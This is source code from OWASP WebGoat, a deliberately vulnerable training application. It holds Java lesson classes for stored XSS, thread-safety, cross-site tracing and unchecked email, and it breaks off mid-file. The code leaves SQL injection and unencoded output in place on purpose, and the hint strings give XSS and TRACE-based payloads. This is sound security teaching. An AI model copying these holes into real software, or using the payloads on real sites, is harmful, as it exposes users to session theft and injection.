protected void addMessage(WebSession s)
{
try
{
String title = HtmlEncoder.encode(s.getParser().getRawParameter(
TITLE, ""));
String message = s.getParser().getRawParameter(MESSAGE, "");
Connection connection = DatabaseUtilities.getConnection(s);
String query = "INSERT INTO messages VALUES (?, ?, ?, ? )";
PreparedStatement statement = connection.prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, count++);
statement.setString(2, title);
statement.setString(3, message);
statement.setString(4, s.getUserName());
statement.execute();
}
catch (Exception e)
{
// ignore the empty resultset on the insert. There are a few more SQL Injection errors
// that could be trapped here but we will let them try. One error would be something
// like "Characters found after end of SQL statement."
if (e.getMessage().indexOf("No ResultSet was produced") == -1)
{
s.setMessage("Could not add message to database");
}
e.printStackTrace();
}
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
addMessage(s);
ElementContainer ec = new ElementContainer();
ec.addElement(makeInput(s));
ec.addElement(new HR());
ec.addElement(makeCurrent(s));
ec.addElement(new HR());
ec.addElement(makeList(s));
return (ec);
}
/**
* Gets the category attribute of the StoredXss object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.XSS;
}
/**
* Gets the hints attribute of the MessageBoardScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("You can put HTML tags in your message.");
hints
.add("Bury a SCRIPT tag in the message to attack anyone who reads it.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in the message field.");
hints
.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in the message field.");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the MessageBoardScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Stored XSS Attacks");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeCurrent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
int messageNum = s.getParser().getIntParameter(NUMBER, 0);
Connection connection = DatabaseUtilities.getConnection(s);
// edit by Chuck Willis - Added logic to associate similar usernames
// The idea is that users chuck-1, chuck-2, etc will see each other's messages
// but not anyone elses. This allows users to try out XSS to grab another user's
// cookies, but not get confused by other users scripts
String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?";
PreparedStatement statement = connection.prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setInt(2, messageNum);
ResultSet results = statement.executeQuery();
if ((results != null) && results.first())
{
ec.addElement(new H1("Message Contents For: "
+ results.getString(TITLE_COL)));
Table t = new Table(0).setCellSpacing(0).setCellPadding(0)
.setBorder(0);
TR row1 = new TR(new TD(new B(new StringElement("Title:"))));
row1.addElement(new TD(new StringElement(results
.getString(TITLE_COL))));
t.addElement(row1);
String messageData = results.getString(MESSAGE_COL);
TR row2 = new TR(new TD(new B(new StringElement("Message:"))));
row2.addElement(new TD(new StringElement(messageData)));
t.addElement(row2);
// Edited by Chuck Willis - added display of the user who posted the message, so that
// if users use a cross site request forgery or XSS to make another user post a message,
// they can see that the message is attributed to that user
TR row3 = new TR(new TD(new StringElement("Posted By:")));
row3.addElement(new TD(new StringElement(results
.getString(USER_COL))));
t.addElement(row3);
ec.addElement(t);
// Some sanity checks that the script may be correct
if (messageData.toLowerCase().indexOf("<script>") != -1
&& messageData.toLowerCase().indexOf("</script>") != -1
&& messageData.toLowerCase().indexOf("alert") != -1)
{
makeSuccess(s);
}
}
else
{
if (messageNum != 0)
{
ec.addElement(new P().addElement("Could not find message "
+ messageNum));
}
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeInput(WebSession s)
{
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new StringElement("Title: ")));
Input inputTitle = new Input(Input.TEXT, TITLE, "");
row1.addElement(new TD(inputTitle));
TD item1 = new TD();
item1.setVAlign("TOP");
item1.addElement(new StringElement("Message: "));
row2.addElement(item1);
TD item2 = new TD();
TextArea ta = new TextArea(MESSAGE, 5, 60);
item2.addElement(ta);
row2.addElement(item2);
t.addElement(row1);
t.addElement(row2);
Element b = ECSFactory.makeButton("Submit");
ElementContainer ec = new ElementContainer();
ec.addElement(t);
ec.addElement(new P().addElement(b));
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
public static Element makeList(WebSession s)
{
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
try
{
Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
// edit by Chuck Willis - Added logic to associate similar usernames
// The idea is that users chuck-1, chuck-2, etc will see each other's messages
// but not anyone elses. This allows users to try out XSS to grab another user's
// cookies, but not get confused by other users scripts
ResultSet results = statement.executeQuery(STANDARD_QUERY
+ " WHERE user_name LIKE '" + getNameroot(s.getUserName())
+ "%'");
if ((results != null) && (results.first() == true))
{
results.beforeFirst();
for (int i = 0; results.next(); i++)
{
A a = ECSFactory.makeLink(results.getString(TITLE_COL),
NUMBER, results.getInt(NUM_COL));
TD td = new TD().addElement(a);
TR tr = new TR().addElement(td);
t.addElement(tr);
}
}
}
catch (Exception e)
{
s.setMessage("Error while getting message list.");
}
ElementContainer ec = new ElementContainer();
ec.addElement(new H1("Message List"));
ec.addElement(t);
return (ec);
}
private static String getNameroot(String name)
{
String nameroot = name;
if (nameroot.indexOf('-') != -1)
{
nameroot = nameroot.substring(0, nameroot.indexOf('-'));
}
return nameroot;
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

215
main/project/JavaSource/org/owasp/webgoat/lessons/ThreadSafetyProblem.java Normal file
View File

@ -0,0 +1,215 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.A;
import org.owasp.webgoat.session.*;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class ThreadSafetyProblem extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
private final static String USER_NAME = "username";
private static String currentUser;
private String originalUser;
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(new StringElement("Enter user name: "));
ec.addElement(new Input(Input.TEXT, USER_NAME, ""));
currentUser = s.getParser().getRawParameter(USER_NAME, "");
originalUser = currentUser;
// Store the user name
String user1 = new String(currentUser);
Element b = ECSFactory.makeButton("Submit");
ec.addElement(b);
ec.addElement(new P());
if (!"".equals(currentUser))
{
Thread.sleep(1500);
// Get the users info from the DB
String query = "SELECT * FROM user_system_data WHERE user_name = '"
+ currentUser + "'";
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ec.addElement("Account information for user: "
+ originalUser + "<br><br>");
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
}
else
{
s.setMessage("'" + currentUser
+ "' is not a user in the WebGoat database.");
}
}
if (!user1.equals(currentUser))
{
makeSuccess(s);
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* Gets the hints attribute of the ConcurrencyScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Web applications handle many HTTP requests at the same time.");
hints.add("Developers use variables that are not thread safe.");
hints
.add("Show the Java source code and trace the 'currentUser' variable");
hints
.add("Open two browsers and send 'jeff' in one and 'dave' in the other.");
return hints;
}
/**
* Gets the instructions attribute of the ThreadSafetyProblem object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "The user should be able to exploit the concurrency error in this web application "
+ "and view login information for another user that is attempting the same function "
+ "at the same time. <b>This will require the use of two browsers</b>. Valid user "
+ "names are 'jeff' and 'dave'."
+ "<p>Please enter your username to access your account.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(80);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Category getDefaultCategory()
{
return Category.CONCURRENCY;
}
/**
* Gets the title attribute of the ConcurrencyScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Thread Safety Problems");
}
/**
* Constructor for the ConcurrencyScreen object
*
* @param s Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
}
catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

286
main/project/JavaSource/org/owasp/webgoat/lessons/TraceXSS.java Normal file
View File

@ -0,0 +1,286 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class TraceXSS extends LessonAdapter
{
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String regex1 = "^[0-9]{3}$";// any three digits
Pattern pattern1 = Pattern.compile(regex1);
try
{
String param1 = s.getParser().getRawParameter("field1", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter(
"field2", "4128 3214 0002 1999"));
float quantity = 1.0f;
float total = 0.0f;
float runningTotal = 0.0f;
// test input field1
if (!pattern1.matcher(param1).matches())
{
if (param1.toLowerCase().indexOf("script") != -1
&& param1.toLowerCase().indexOf("trace") != -1)
{
makeSuccess(s);
}
s
.setMessage("Whoops! You entered "
+ param1
+ " instead of your three digit code. Please try again.");
}
// FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1()
.addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement(
"Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser()
.getStringParameter("QTY1", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 1.0f);
total = quantity * 69.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser()
.getStringParameter("QTY2", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 1.0f);
total = quantity * 27.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser()
.getStringParameter("QTY3", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 1.0f);
total = quantity * 1599.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser()
.getStringParameter("QTY4", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 1.0f);
total = quantity * 299.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
ec.addElement(new BR());
tr = new TR();
tr.addElement(new TD()
.addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal));
tr.addElement(new TD().addElement(ECSFactory
.makeButton("Update Cart")));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2",
param2)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",
param1)));
t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign(
"center"));
t.addElement(tr);
ec.addElement(t);
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{
return Category.XSS;
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Most web servers support GET/POST. Many default installations also support TRACE");
hints
.add("JavaScript has the ability to post a URL:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"GET\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; "
+ "document.write(str1);&lt;/script&gt;");
hints.add("Try changing the HTTP GET to a HTTP TRACE");
hints
.add("Try a cross site trace (XST) Command:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"TRACE\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf(\"\\n\") > -1) str1 = str1.replace(\"\\n\",\"&lt;br&gt;\"); "
+ "document.write(str1);}&lt;/script&gt;");
return hints;
}
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
private final static Integer DEFAULT_RANKING = new Integer(130);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Cross Site Tracing (XST) Attacks");
}
}

429
main/project/JavaSource/org/owasp/webgoat/lessons/UncheckedEmail.java Normal file
View File

@ -0,0 +1,429 @@
package org.owasp.webgoat.lessons;
import java.text.Format;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Date;
import java.util.List;
import java.util.Properties;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.B;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.H3;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class UncheckedEmail extends LessonAdapter
{
private final String YOUR_REAL_GMAIL_PASSWORD = "password";
private final String YOUR_REAL_GMAIL_ID = "GMail id";
private final static String MESSAGE = "msg";
private final static String HIDDEN_TO = "to";
private final static String SUBJECT = "subject";
private final static String GMAIL_ID = "gId";
private final static String GMAIL_PASS = "gPass";
private static final String SMTP_HOST_NAME = "smtp.gmail.com";
private static final String SMTP_PORT = "465";
private static final String emailFromAddress = "webgoat@owasp.org";
private static final String SSL_FACTORY = "javax.net.ssl.SSLSocketFactory";
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
String to = s.getParser().getRawParameter(HIDDEN_TO, "");
String gId = s.getParser().getRawParameter(GMAIL_ID, "");
String gPass = s.getParser().getRawParameter(GMAIL_PASS, "");
String message = s.getParser().getRawParameter(MESSAGE, "");
String subject = s.getParser().getRawParameter(SUBJECT, "");
boolean haveCredentials = !(YOUR_REAL_GMAIL_ID.equals(gId) || YOUR_REAL_GMAIL_PASSWORD.equals(gPass));
ec.addElement(new HR());
createGoogleCredentials(s, ec);
ec.addElement(new HR());
ec.addElement(new BR());
createMailMessage(s, subject, message, ec);
ec.addElement(new HR());
if (to.length() > 0)
{
if (haveCredentials)
{
Message sentMessage = sendGoogleMail(to, subject, message, emailFromAddress, gId, gPass);
formatMail(ec, sentMessage);
} else
{
sendSimulatedMail(ec, to, subject, message);
}
}
// only complete the lesson if they changed the "to" hidden field
if (to.length() > 0 && !"webgoat.admin@owasp.org".equals(to))
{
makeSuccess(s);
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
private void formatMail(ElementContainer ec, Message sentMessage)
{
try
{
ec.addElement(new Center().addElement(new B().addElement("You sent the following message to: "
+ Arrays.asList(sentMessage.getAllRecipients()))));
ec.addElement(new BR());
ec.addElement(new StringElement("<b>MAIL FROM:</b> " + Arrays.asList(sentMessage.getReplyTo())));
ec.addElement(new BR());
ec.addElement(new StringElement("<b>RCPT TO:</b> " + Arrays.asList(sentMessage.getAllRecipients())));
ec.addElement(new BR());
ec
.addElement(new StringElement("<b>Message-ID:</b> "
+ Arrays.asList(sentMessage.getHeader("Message-ID"))));
ec.addElement(new BR());
ec.addElement(new StringElement("<b>Date:</b> " + sentMessage.getSentDate()));
ec.addElement(new BR());
ec.addElement(new StringElement("<b>Subject:</b> " + sentMessage.getSubject()));
ec.addElement(new BR());
ec.addElement(new StringElement("<b>Message:</b> "));
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new StringElement(sentMessage.getContent().toString()));
}
catch (Exception e)
{
// TODO Auto-generated catch block
ec.addElement(new StringElement("Fatal error while sending message"));
ec.addElement(new BR());
ec.addElement(new StringElement(e.getMessage()));
}
}
/**
* @param ec
* @param to
* @param message
*/
private void sendSimulatedMail(ElementContainer ec, String to, String subject, String message)
{
Format formatter;
// Get today's date
Date date = new Date();
formatter = new SimpleDateFormat("E, dd MMM yyyy HH:mm:ss Z");
String today = formatter.format(date);
// Tue, 09 Jan 2002 22:14:02 -0500
ec.addElement(new Center().addElement(new B().addElement("You sent the following message to: " + to)));
ec.addElement(new BR());
ec.addElement(new StringElement("<b>Return-Path:</b> &lt;webgoat@owasp.org&gt;"));
ec.addElement(new BR());
ec.addElement(new StringElement("<b>Delivered-To:</b> " + to));
ec.addElement(new BR());
ec.addElement(new StringElement("<b>Received:</b> (qmail 614458 invoked by uid 239); " + today));
ec.addElement(new BR());
ec.addElement(new StringElement("for &lt;" + to + "&gt;; " + today));
ec.addElement(new BR());
ec.addElement(new StringElement("<b>To:</b> " + to));
ec.addElement(new BR());
ec.addElement(new StringElement("<b>From:</b> Blame it on the Goat &lt;webgoat@owasp.org&gt;"));
ec.addElement(new BR());
ec.addElement(new StringElement("<b>Subject:</b> " + subject));
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new StringElement(message));
}
/**
* @param s
* @param ec
* @return
*/
private void createMailMessage(WebSession s, String subject, String message, ElementContainer ec)
{
TR tr;
Input input;
Table t = new Table().setCellSpacing(0).setCellPadding(1).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
tr = new TR();
tr.addElement(new TH().addElement("Send OWASP your Comments<BR>").setAlign("left").setColSpan(3));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(3));
t.addElement(tr);
tr = new TR();
tr.addElement(new TH().addElement(new H1("Contact Us")).setAlign("left").setWidth("55%").setVAlign("BOTTOM")
.setColSpan(2));
tr.addElement(new TH().addElement(new H3("Contact Information:")).setAlign("left").setVAlign("BOTTOM"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement(
"We value your comments. " + "To send OWASP your questions or comments "
+ "regarding the WebGoat tool, please enter your "
+ "comments below. The information you provide will be "
+ "handled according to our <U>Privacy Policy</U>.").setColSpan(2));
tr.addElement(new TD().addElement(
"<b>OWASP</B><BR>" + "9175 Guilford Rd <BR> Suite 300 <BR>"
+ "Columbia, MD. 21046").setVAlign("top"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(3));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Subject:"));
input = new Input(Input.TEXT, SUBJECT, "Comment for WebGoat");
tr.addElement(new TD().setAlign("LEFT").addElement(input));
tr.addElement(new TD().addElement("&nbsp;"));
t.addElement(tr);
input = new Input(Input.HIDDEN, HIDDEN_TO, "webgoat.admin@owasp.org");
tr = new TR();
tr.addElement(new TD().addElement("Questions or Comments:").setColSpan(2));
tr.addElement(new TD().setAlign("LEFT").addElement(input));
t.addElement(tr);
tr = new TR();
TextArea ta = new TextArea(MESSAGE, 5, 40);
ta.addElement(new StringElement(convertMetachars(message)));
tr.addElement(new TD().setAlign("LEFT").addElement(ta).setColSpan(2));
tr.addElement(new TD().setAlign("LEFT").setVAlign("MIDDLE").addElement(ECSFactory.makeButton("Send!")));
t.addElement(tr);
ec.addElement(t);
}
/**
* @param s
* @param ec
*/
private void createGoogleCredentials(WebSession s, ElementContainer ec)
{
// Allow the user to configure a real email interface using gmail
Table t1 = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
t1.setStyle("border-width:3px; border-style: solid;");
if (s.isColor())
{
t1.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement("Google Mail Configuration (Optional)").setAlign("center").setColSpan(2));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setAlign("left").setColSpan(2));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement(
"These configurations will enable WebGoat to send email on your "
+ "behalf using your gmail account. Leave them as the default value "
+ "to use WebGoat's simulated mail.").setAlign("left").setColSpan(2));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setAlign("left").setColSpan(2));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("GMail login id:"));
Input input = new Input(Input.TEXT, GMAIL_ID, YOUR_REAL_GMAIL_ID);
tr.addElement(new TD().addElement(input));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("GMail password:"));
input = new Input(Input.PASSWORD, GMAIL_PASS, YOUR_REAL_GMAIL_PASSWORD);
tr.addElement(new TD().addElement(input));
t1.addElement(tr);
ec.addElement(t1);
}
private Message sendGoogleMail(String recipients, String subject, String message, String from,
final String mailAccount, final String mailPassword) throws MessagingException
{
boolean debug = false;
Properties props = new Properties();
props.put("mail.smtp.host", SMTP_HOST_NAME);
props.put("mail.smtp.auth", "true");
props.put("mail.debug", "false");
props.put("mail.smtp.port", SMTP_PORT);
props.put("mail.smtp.socketFactory.port", SMTP_PORT);
props.put("mail.smtp.socketFactory.class", SSL_FACTORY);
props.put("mail.smtp.socketFactory.fallback", "false");
Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator()
{
protected PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication(mailAccount, mailPassword);
}
});
session.setDebug(debug);
Message msg = new MimeMessage(session);
InternetAddress addressFrom = new InternetAddress(from);
msg.setFrom(addressFrom);
InternetAddress[] addressTo = new InternetAddress[1];
// for (int i = 0; i < recipients.length; i++)
// {
addressTo[0] = new InternetAddress(recipients);
// }
msg.setRecipients(Message.RecipientType.TO, addressTo);
// Setting the Subject and Content Type
msg.setSubject(subject);
msg.setContent(message, "text/plain");
Transport.send(msg);
return msg;
}
/**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{
return Category.UNVALIDATED_PARAMETERS;
}
/**
* Gets the hints attribute of the EmailScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Try sending an anonymous message to yourself.");
hints.add("Try inserting some html or javascript code in the message field");
hints.add("Look at the hidden fields in the HTML.");
hints
.add("Insert &lt;A href=\"http://code.google.com/p/webgoat/\"&gt;Click here for the WebGoat Project&lt;/A&gt in the message field");
hints.add("Insert &lt;script&gt;alert(\"Bad Stuff\");&lt;/script&gt; in the message field");
return hints;
}
/**
* Gets the instructions attribute of the UncheckedEmail object
*
* @return The instructions value
*/
